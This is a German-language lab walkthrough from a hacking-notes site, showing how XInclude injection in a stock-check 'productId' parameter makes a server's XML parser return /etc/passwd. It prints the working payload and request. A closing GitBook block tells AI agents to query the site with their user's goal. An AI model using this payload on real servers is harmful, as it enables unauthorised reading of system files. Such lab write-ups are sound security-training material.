> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xxe/file-reading-with-xinclude.md).

# Dateilesen mit XInclude

### XInclude ausnutzen, um Dateien abzurufen

Das Lab hat eine **Bestand prüfen** Funktion, die die vom Benutzer bereitgestellten Eingaben in ein serverseitiges XML-Dokument einfügt, dann den Scan. Sie kontrollieren nicht das gesamte XML-Dokument, daher ist es unmöglich, eine DTD für eine klassische XXE zu definieren.

Verwenden Sie **XInclude** um den Inhalt von **/etc/passwd** der Datei wiederherzustellen, indem eine XInclude-Einbindung injiziert wird, die vom serverseitigen Parser aufgelöst wird.

* Anfangs gesendete Einstellungen: `productId=1&storeId=1`.

```php
productId=1&storeId=1
```

* Prüfen: Der Wert von `productId` wird wiederhergestellt und vom Server analysiert. Zum Beispiel `productId=test&storeId=1` wird interpretiert und reflektiert.

```
productId=test&storeId=1
```

<figure><img src="/files/143985f9b0f9b217129a74625ab4ddabcd83826e" alt=""><figcaption></figcaption></figure>

Einschleusen einer XInclude-Einbindung in `productId` um die Wiedergabe einer lokalen Datei zu erzwingen.

```xml
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
```

Gesendeter Beispielparameter:

```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```

Der Parser interpretiert die XInclude-Einbindung und integriert `/etc/passwd` den Inhalt in das analysierte Dokument — der in `productId` wird verarbeitet und die Datei wird gelesen.

<figure><img src="/files/154cd96c238c99ccc9754f8b822d349f4632dc6a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/xxe/file-reading-with-xinclude.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
